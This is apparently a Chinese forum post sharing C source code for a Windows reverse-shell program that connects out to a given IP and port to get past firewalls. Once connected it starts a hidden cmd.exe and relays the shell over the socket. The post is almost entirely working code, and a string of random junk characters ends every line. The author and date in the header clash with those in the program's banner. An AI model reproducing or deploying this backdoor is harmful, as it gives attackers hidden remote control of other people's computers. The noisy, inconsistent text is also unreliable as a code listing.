这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z)5n&w
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/* ============================== G#'3bxI{f+
Rebound port in Windows NT A"Rzn1/
By wind,2006/7 !)tXN=(1a
===============================*/ =ox#qg.5
#include vII&v+C
#include ~%^af"_
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#pragma comment(lib,"wsock32.lib") S6H=(l58
w;Qo9=-
void OutputShell(); :^kP?
SOCKET sClient; <C6/R]x#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; lg;Y}?P
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void main(int argc,char **argv) 'O`jV0aa'
{ ;:*o
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WSADATA stWsaData; S$]:3
int nRet; L4sN)EI
SOCKADDR_IN stSaiClient,stSaiServer; h_ ]3L/
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if(argc != 3) `.%;|"xR
{ d8M"vd
printf("Useage:\n\rRebound DestIP DestPort\n"); FStE/2?
return; ?OKm~ Ek
} 7V0:^Jov
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WSAStartup(MAKEWORD(2,2),&stWsaData); w;QDQ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !N,Z3p>Q
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stSaiClient.sin_family = AF_INET; wRPBJ-C)
stSaiClient.sin_port = htons(0); UF<|1;'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /db?ltb
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T-&CAD3 ,O
{ fokT)nf~^8
printf("Bind Socket Failed!\n"); |k&.1NkZ
return; (Wq9YDD@
} joDfvY*[
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stSaiServer.sin_family = AF_INET; NOx&`OU+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /BT;Q)(&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g8XGZW!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T<54qe4`p
{ 94APjqV6'
printf("Connect Error!"); w^|,[G^}H
return; X3L9j(
} ejo4mQ]a
OutputShell(); j)-D.bY0
} EFql
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void OutputShell() 77i |a]Kd
{ no?)GQ
char szBuff[1024]; &;)~bS(
SECURITY_ATTRIBUTES stSecurityAttributes; r
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OSVERSIONINFO stOsversionInfo; T|.Q81.NE
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3!Qt_,
STARTUPINFO stStartupInfo; ts;_T..L
char *szShell; 7gVWu"
PROCESS_INFORMATION stProcessInformation; )SA$hwR
unsigned long lBytesRead; c;U\nC<Y
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $:u,6|QsS=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hQL9 Zl~
stSecurityAttributes.lpSecurityDescriptor = 0; puqLXDjA/
stSecurityAttributes.bInheritHandle = TRUE; :VN<,1s9p^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A^ ,(Vyd
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "fpj"lf-
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z~ ?:r
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eaX`S.!jR
stStartupInfo.wShowWindow = SW_HIDE; ePs<jrB<
stStartupInfo.hStdInput = hReadPipe; <;=Y4$y[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J+IW
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GetVersionEx(&stOsversionInfo); ^<E+7
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switch(stOsversionInfo.dwPlatformId) e<9nt [
{ o B6"D
case 1: /#:RYM'Tu
szShell = "command.com"; ?G?=,tV
break; |Y'$+[TE
default: K6Gc)jp:b
szShell = "cmd.exe"; ,6M-xSDs
break; ,j_{IL690
} &us8,x6yg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e-e{-pB6
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send(sClient,szMsg,77,0); }qKeX4\-
while(1) izC>-
{ LpmspIPvf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9d{W/t?NH
if(lBytesRead) =k$d8g
ez
{ Q%eBm_r;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^1~/FU
send(sClient,szBuff,lBytesRead,0); pM46I"
} !r
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else Hzj*X}X#K
{ $AXz/fGV
lBytesRead=recv(sClient,szBuff,1024,0); %x927I>
if(lBytesRead<=0) break; O]Kb~jkd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }TF<C!]
} 6U&Uyd)
} z!3Z^d`
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return; %'=oMbi>i4
}